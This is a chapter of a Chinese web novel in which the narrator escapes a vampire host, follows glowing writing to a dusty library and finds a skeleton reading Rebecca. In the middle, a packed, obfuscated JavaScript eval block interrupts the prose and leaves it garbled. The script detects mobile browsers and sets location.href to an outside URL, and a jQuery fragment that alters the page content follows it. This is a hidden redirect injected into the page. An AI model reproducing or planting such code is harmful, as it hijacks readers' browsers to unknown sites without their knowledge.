57. 第五十六章:跟我走

作品:《“杀死”那个DM

    “嗯?”


    我盯着那杯红色的酒液,在闪动的火光下,显得那么透亮、温暖。


    想想几分钟前,我居然会以为那是血,简直不可思议。


    发酵葡萄和酒精的味道在空气中氤氲开来,不得不说,十分有吸引力,就像伊瑞里安的声音一样,醇厚、深沉。我眨眨眼睛,发现自己竟有几分动摇,于是我立刻开口,趁自己还有力气拒绝:“谢了,但我不渴。”


    伊瑞里安微笑:“好酒不需要渴的时候喝。”他低下头,一缕卷发从额角垂下来,让眼睛落入阴影中,“还是说,你对刚才的问题不那么有兴趣了?”


    我点点头:“是的。”


    伊瑞里安一怔:“你在回答哪个问题?”


    “呃,后面那个。”我好不容易把答案挤出来,一颗心砰砰直跳,连嘴巴都发干了。说完这几个字,我就开始往后退,像在冰箱前被汤姆抓现行的杰瑞似的,一边拘谨地倒腾两条腿,一边冲伊瑞里安挥挥手,露出八颗牙齿:“回见。”


    “回见。”伊瑞里安依然在微笑,丝毫没有阻止我的意思。


    在我退出大厅前,他遥遥举起酒杯,柔声说:“以防你哪天对我的年龄又有兴趣了,请别忘记,我这杯酒的提议长期有效。”


    我不敢多看,转身跑出大厅,能跑多快跑多快,厚底拖鞋在地板上敲出“啪嗒啪嗒”的声响。


    身后没有动静,我猜伊瑞里安并没有追出来。


    但说不上为什么,我还是继续仓皇逃窜,在我脱缰的想象力催化下,背后伊瑞里安的微笑仿佛正在扭曲异化,他洁白的牙齿从嘴唇里翻出来,变尖、变长,犹如狰狞的野兽,他鲜红的舌头在口腔里翻动、舔舐,啪嗒、啪嗒、啪嗒……


    希望都仅出于我的想象。


    这么一急一窜,居然把我给窜迷路了。


    事后回想,在这么个立体迷宫似的城堡里乱跑,迷路属实活该,没从旋转楼梯大头朝下来个自由落体运动就算我福大命大了。


    可那时,我只有种大祸临头的不妙感,让我肾上腺素狂飙。


    尽管压根没人追我,我还是只管闷头向前冲,也不知上上下下多少台阶,拐了多少弯,这城堡就像会自我生长一样,无论你在长廊上跑出去多远,都仿佛仍困在这栋建筑的中轴线上。


    我在黑暗的楼梯和走廊间团团乱转,如同无头苍蝇,直到一线生机降临。


    一线生机,指的是忽然出现在墙壁上的字,三个字,三个一笔一划的汉字。


    ——跟我走。


    这些字就这么出现在水泥灰色的墙纸上,既不是墨水,也不是油漆,更像是一群迷你萤火虫的小小文字灯火表演,组成笔划的淡金色光点随着它们的呼吸一明一灭,字的结尾是一个转向箭头。


    我脚步一顿,只思考了一秒钟,就顺着箭头指的方向跑去,尽管只有几个字,但我记得这笔迹,我不记得它属于谁,但我记得它,并且无条件相信它。


    很快,第二个提示出现了,就在离我十步远的前方,有一扇双开的桃花心木门。


    ——这里!


    我几乎能听到那两个字在冲我呐喊,连标点符号都充满了感情,我不由得加快脚步,奔向写着提示的门。


    老式铜环门把手沉甸甸的,很有分量,门并没有上锁,我抓住门环用力一推,随着生锈门轴一阵“吱吱呀呀”,两扇十分厚重的门便向内打开了。


    一股灰尘从门缝里荡出来,我屏住呼吸,胳膊用力,从门缝里挤进去。


    手一松,门轴立刻“吱呀”一声,带动门扇弹了回去。


    我眨眨眼睛,待灰尘散去,我看清了这个地方,竟然是一个巨大的书房。


    就像《美女与野兽》里那样,整间房都是用来放书的,看上去古朴典雅,天花板上悬着巨大的水晶吊灯,桃花心木书架散发出陈旧却好闻的味道,地面铺着软软的毛毡毯,踩上去悄无声息。


    书架连成一排一排,上面整整齐齐地码着硬壳精装书,每个书架都有两人高,几乎顶在天花板上,想要取书架上层的书,想必还得踩着梯子才够得着。


    不管是书架,还是架子上的书本,都落满厚厚的灰尘。


    显然,已经很久没人来这里看过它们了。


    我沿着两排书架的空隙向前走去,左手边的两组书架间摆着个人字梯,印证了我刚才的猜测。


    既然梯子摆在这儿,也许有人曾经踩在上面取书,对吧?


    又或者,有人在上面放了什么东西。


    我脚步一转,朝梯子走过去,目光扫过一排排书,书脊上的标题有汉字、有英文、有西班牙文、有日文,还有很多我不认识的文字,而在认得出的范围里,我看到了《悲惨世界》和《百年孤独》译本、《麦克白》和《飞鸟集》的原著,海明威的小说占了整整一排,除此之外竟然还有《论语》和《诗经》,实在让人惊喜……我猜,我要是再耐心一点,多半还会看到四大名著。


    如果说,这个书房是那位吸血鬼老爷的杰作,我不由得心想,一位爱读书的吸血鬼多少能讲点理吧?而且,从藏书内容来看,吸血鬼老爷也多少有点品位、有点文化。


    唯一值得质疑的,是书的排列顺序和分类方法。


    换句话说,它们看起来完全就是杂乱无章。


    我踩上梯子,确认它足够稳当之后,又往上爬了几步,一边仔细看过对面的书架,果然,在最上层书架,《汤姆·索亚历险记》和《呼啸山庄》之间是空的。


    我伸长手臂,用手指抹了一下书架空着的部分,指肚沾上了一层灰。


    不管是谁取走了这本书,都是很久以前了。


    空档里没藏别的东西,很遗憾,也没有机关。于是我收回手,顺着梯子原路返回。


    荧光字没有再出现,似乎把我引到这里后它就完成了使命。


    我回到主过道,顺着书架空隙继续往前走,尽头并不是一堵墙,而是足有一整面墙那么大的、厚实的墨绿色条绒窗帘。


    跟这间书房里的其他东西一样,窗帘也落满了灰尘,我把手指伸进条绒纹理间,灰尘的粗涩和条绒的丝滑组合成奇妙的触感,我拨动手指,寻找窗帘的缝隙。


    啊,在这里了。


    两片窗帘缝隙处倒是意外地很干净,我把窗帘向两边拨开,小心翼翼,只拨开一条缝,明亮的光立刻从缝隙里穿透出来,我的眼睛早适应了黑暗,差点被骤然亮起的白光晃瞎,我连忙闭上眼睛,等待酸胀、流泪的感觉过去,这才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377678|197312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慢慢睁开,不由得被眼前的景象惊呆了。


    窗帘后面是一个向外凸出去的超大飘窗,而窗外,是遥远的天空、漆黑的岩石,和嶙峋岩石组成的断崖外,一望无际的大海。


    “天呐。”我忍不住惊叹出声。


    被困在室内环境里这么久,我还是第一次看到室外,一时竟连目光都没法移开。我痴痴地看着海水在漆黑的岩石上撞出雪白的浪花,简直像着魔一样,它们退去,再涌上来,粉身碎骨,又再次退去……直到我发现窗户隔绝了外界的一切声响,我才意识到自己有多么怀念海浪的声音,那声音几乎代表着自由。


    自由,一个目前对我而言太过珍贵的东西。


    要不是眼角余光捕捉到那个东西,我恐怕会一直看下去,直到天光散尽。


    一开始,我只是把窗帘拨开一条缝,在看到窗外的海景后,便不由自主爬上了飘窗,凑到了窗前,厚重的条绒窗帘在我身后合上,把我关在这个与外面的世界只有一道玻璃相隔的狭窄空间里。


    然而,我并不是这空间里唯一的客人。


    在我右手边,飘窗的一角,正安静地躺着一具骷髅。


    眼角瞟到那副发灰发黄的枯骨时,我差点尖叫出声,整个人向后倒去,手脚并用朝骷髅的反方向连滚带爬了几步,直到撞到飘窗的另一边。


    我屏住呼吸,目光牢牢锁死在骷髅上,不敢稍离,窗帘被我碰得晃动不休,飘窗里光影交错,乍看过去,竟像是那具骷髅在动!


    幸亏只是错觉,骷髅身上的衣服大部分都朽坏了,但仍有零碎的布片挂在骨骼之间,这会儿也跟着窗帘一起飘荡起来,仿佛无数只灰色的鬼马小精灵,一齐挣扎着想要从宿主身上逃跑。骷髅的两只脚上穿着厚底拖鞋,鞋面烂掉七七八八,一只鞋底倒了下去,另一只也摇摇欲坠。


    我轻轻吁了口气,告诉自己,别怕,只是一具骷髅,没有附魔,更没有复活。


    我做了几次深呼吸,暂时认为自己能够平静地和这具骷髅共处。


    然后,我注意到它手里的书,摊开了摆在胸口,封面朝外,大概骷髅的主人死去时正读到一半,精装书皮的一角卡在肋骨上,如果把书拿走,搞不好整具骷髅都会轰然倒塌。


    我膝盖着地,两只手撑在身前,往骷髅的方向爬了几步,低下头往上看,总算看清了书封面上的字,一串非常漂亮的英文花体字“吕蓓卡”,它的译本我读得很熟——《蝴蝶梦》,多半就是书架上被取走的那一本。


    一个死去的人,多久之后会变成这样一副干干净净的骨架?


    它曾经又是谁呢?


    会是上一个被困在这里的人吗?


    这是不是意味着,用不了多久,我也会变成这样?


    我盯着骷髅脸上两个漆黑的眼洞,后者平静、空洞,对我内心的诸多疑问无动于衷。


    “不会是你帮我找到这儿的吧?”我小声说,想到那些自发出现在墙壁上、楼梯间的荧光字。


    骷髅并不回答。


    “我猜也不是。”我喃喃,“你死透了,对不对?”


    鬼使神差地,我又问了一句:“那荧光字是丁诺写的吗?”


    回答我的,是不远处大门生锈门轴的“吱呀”声。